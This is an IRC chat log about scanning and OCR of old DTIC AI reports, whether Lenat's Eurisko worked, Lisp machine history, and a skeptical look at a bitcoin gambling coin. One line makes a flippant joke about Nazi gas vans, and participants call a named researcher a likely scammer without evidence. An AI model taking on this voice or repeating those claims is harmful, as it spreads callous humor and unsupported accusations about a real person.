22:08 decimation I have ocr, but it only works on pdf
22:08 asciilifeform and many pictures.
22:10 asciilifeform (see 'manifest' for which)
22:15 assbot [HAVELOCK] [AM1] 17 @ 0.14499999 = 2.465 BTC [+] {2}
22:19 kakobrekla lol@manifest.
22:27 decimation lol ancestor simulation
22:29 decimation ascii hopefully we can share the hard-ai-god's gasenwagen
22:31 nubbins` can anyone point me to a simple shell script that generates private keys from secret exponents?
22:38 asciilifeform decimation: lol << laugh, but if these folks had balls, they'd be stereotypically dangerous loons
22:39 decimation like 'drink the kool-aid' type or the 'bomb the city' type?
22:39 asciilifeform both.
22:40 asciilifeform presumably (2) then (1)
22:40 decimation heh when turned into pdf, tripled in size
22:42 asciilifeform decimation: and 1/10 the render speed on small cpu
22:42 asciilifeform decimation: djvu exists for a reason
22:42 decimation yeah :( too bad the warez only ocr pdf
22:43 decimation my checksums all check
22:43 asciilifeform decimation: congrats
22:46 mats_cd03 http://news.discovery.com/space/indian-mars-mission-beams-back-first-photographs-140925.htm
22:46 assbot Indian Mars Mission Beams Back First Photographs : Discovery News
22:48 decimation obligatory: http://acrossdifficultcountry.blogspot.com/2009/05/far-out-space-nuts.html << "“We must also go there and say: ‘What are you people doing up here?’”"
22:48 assbot Across Difficult Country: Far out space nuts
22:54 assbot [MPEX] [S.MPOE] 17150 @ 0.00075094 = 12.8786 BTC [+] {2}
23:00 decimation ascii I have bad news. The ones with "ADA" numbers have already been published on the internet by usg: http://www.dtic.mil/docs/citations/ADA096510
23:00 assbot RLL-1: A Representation Language Language
23:01 asciilifeform decimation: both rll pieces ?
23:01 asciilifeform decimation: the one with actual code is the 'supplement'
23:03 asciilifeform lol, looks like they posted it, too
23:03 decimation ja : http://www.dtic.mil/docs/citations/ADA096779
23:03 assbot RLL-1: A Representation Language Language. Supplement. Details of RLL-1
23:03 decimation anything with 'ada' is a 'dtic' research report
23:03 asciilifeform perhaps because i ordered them scanned...
23:04 decimation sometimes they are scanned, sometimes not :)
23:04 asciilifeform (where do you think i got them)
23:04 decimation hehe
23:04 asciilifeform used to be, these were just catalogue #s.
23:04 asciilifeform and might be interesting to compare the dtic-online version to mine.
23:04 asciilifeform but - life is short.
23:05 asciilifeform anyway, all this crud is in one convenient place now, and readable on civilized reading machines...
23:05 decimation indeed.
23:05 asciilifeform (e.g. 'kindle dx' with 'librerator' aftermarket firmware.)
23:05 decimation and I think you are right, they are too shitty to ocr for the most part
23:06 asciilifeform decimation: i tried, back in the day, was not impressed with result.
23:06 asciilifeform ocr for code is a nonstarter anyway
23:06 decimation some idiot intern did the scanning
23:06 asciilifeform two scans.
23:06 decimation or it was a copy-of-a-copy-of-a-copy
23:06 asciilifeform one - their end
23:06 asciilifeform they mailed - paper.
23:07 asciilifeform another - my old lab's scanner.
23:07 asciilifeform and the original was probably put on record as a paper report, as well.
23:07 asciilifeform lucky that the text is readable at all.
23:07 asciilifeform at least 3 of the documents came from another place and were public for ages.
23:08 decimation indeed, 'markov chain in the brain' is quite powerful at correcting errors
23:08 decimation one wonders how many other useful reports lie mouldering in some gov't bin, unscanned
23:08 asciilifeform the real lol is that i had to write a report, quite like this one, when my contract was ending.
23:08 asciilifeform it, too, was interred in some 'indiana jones' vault
23:09 asciilifeform for some archaeologist to vomit over one day.
23:09 decimation gov't pays for such 'research', most of which is pointless: http://www.sbir.gov/
23:09 assbot SBIR.gov
23:09 asciilifeform yes.
23:10 asciilifeform it feeds a gigantic class of folks, some of whom could conceivably be of some use, most go back to home country after they had enough.
23:10 assbot [MPEX] [S.MPOE] 3511 @ 0.00075184 = 2.6397 BTC [+]
23:11 decimation usg asks so many questions, doesn't understand the answers...
23:11 asciilifeform there are two versions of the lenat story
23:12 asciilifeform one, where he's a scammer.
23:12 asciilifeform (the facts actually favour this hypothesis. he collected $billions for 'cyc' project, never showed any useful result.)
23:12 asciilifeform another - where he was onto something.
23:12 asciilifeform the schoolbook telling of the 'eurisko' project - open an encyclopaedia of computing, traditionally it is mentioned as a seminal work - suggests this.
23:13 asciilifeform he never published the source of 'eurisko'. each hypothesis provides an explanation for why.
23:13 asciilifeform scammer: it never worked really, he won the 'traveller' tourney using his brain plus a few automated routines
23:13 asciilifeform genius: it worked, he wanted to conquer world / get rich / etc. with it.
23:14 asciilifeform rll-1 supplement does not settle the 'scammer or genius' question, perhaps surprisingly.
23:14 asciilifeform even leaves open the interpretations 'genius scammer' or 'scamming genius.'
23:15 asciilifeform ;;google douglas lenat
23:15 gribble Douglas Lenat - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Douglas_Lenat>; Cyc - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Cyc>; Cycorp | Home of smarter solutions: <http://www.cyc.com/>
23:15 asciilifeform draw own conclusions.
23:15 asciilifeform until the real 'lenat leak' perhaps one day.
23:16 decimation the '3d vlsi design' part is interesting
23:16 asciilifeform same as the traveler thing
23:16 asciilifeform we don't know if it was eurisko or just doug l. and a lisp prompt.
23:16 asciilifeform no way to learn the truth short of wiring him to the mains.
23:16 asciilifeform (or replicating result...)
23:18 decimation seems like if the stuff were useful, he would have out googled google before google googled.
23:18 asciilifeform decimation: nope. resources of the time.
23:19 decimation right, of the time, but he had the access to the same computers google did
23:19 asciilifeform decimation: precious little horsepower (esp. for a serious lisp system); precious little network to speak of; etc
23:19 asciilifeform by the time these things changed - he was fully occupied in operating an obvious chumpatron
23:20 asciilifeform go and 'dismount the tiger without being eaten'
23:20 decimation the 'cyc' stuff, yeah that seems dumb
23:20 asciilifeform afaik he remains there.
23:21 asciilifeform 'cyc' is a real laugh. they have a crippled 'open' version; in java, if i recall!
23:21 asciilifeform does - nothing.
23:21 penguirker New blog post: http://thewhet.net/2014/if-at-first-you-dont-succeed-scoop-it-into-the-garbage-and-ask-how-many-cups-of-stupid-you-threw-in-there/
23:21 asciilifeform was always a laugh.
23:21 asciilifeform but cyc is not eurisko.
23:21 asciilifeform whether eurisko existed - and in what form - is the real question.
23:22 decimation it is interesting how this eurisko thing, the really useful symbolics stuff, early MIT lisp stuff -- much of it has simply disappeared
23:22 decimation one would think that someone would have made a few backups, but then again shit happens I guess
23:23 asciilifeform http://bitsavers.informatik.uni-stuttgart.de has some good stuff
23:23 assbot bitsavers.org
23:23 asciilifeform and brad parker has more
23:23 asciilifeform (re: mit, lmi, symbolics)
23:23 asciilifeform people made backups. on tape. someone actually paid to have many of the tapes recovered.
23:23 asciilifeform and mit rubber-stamped the bsd license release of the original cadr stuff, once priced at $maxint
23:24 asciilifeform (symbolics, lmi, ti - paid vast sums to license 'cadr')
23:24 decimation yeah it created two spinoffs
23:24 asciilifeform three.
23:24 * asciilifeform can tell that decimation read richard stallman's version
23:24 decimation heh yeah I did
23:24 asciilifeform for some reason he omits ti
23:24 asciilifeform why? ask him, not me
23:26 decimation oh yeah I forgot about ti
23:27 decimation also apple had a lisp machine later on right
23:27 decimation was that based on ivory chip?
23:28 decimation No I'm thinking of maclisp, which is unrelated to apple I guess
23:34 cazalla anyone heard of http://breakoutgaming.com/ before? apparently johnny chan is gonna be the face of it and they'll have bitcoin deposit/withdrawals
23:34 assbot Breakout Gaming
23:36 cazalla http://venturebeat.com/2014/09/16/breakout-gaming-announces-new-coin-and-gaming-destination/
23:36 assbot Breakout Gaming Announces New Coin and Gaming Destination | VentureBeat | Business | by Business Wire
23:36 cazalla "An in-house, web based, exchange seamlessly converts Bitcoin (BTC) to Breakout Coin (BRO) with a cold storage solution to protect the currency, avoiding the opportunity for hackers to enter the servers. Breakout Gaming’s site will feature 88 different casino games including the popular Texas Hold ‘Em, Open Face Chinese Poker, in addition to a custom built Fantasy Sports betting platform. " more shit coins for your bitcoin
23:42 decimation everyone wants some seigniorage
23:47 assbot [MPEX] [S.MPOE] 3042 @ 0.00075184 = 2.2871 BTC [+]
23:48 assbot [MPEX] [S.MPOE] 27200 @ 0.0007531 = 20.4843 BTC [+] {2}
23:49 mircea_popescu cazalla as a rule of thumb, if grep "will" > devnull
23:49 mircea_popescu obviously paid piece, how else would a journalist know what "will" happen
23:50 mircea_popescu this is the equivalent of the "if newspiece title ask a question, the response is no".
23:59 cazalla maybe they'll peg their altcoin to usd so that even if you win, you lose bitcoins
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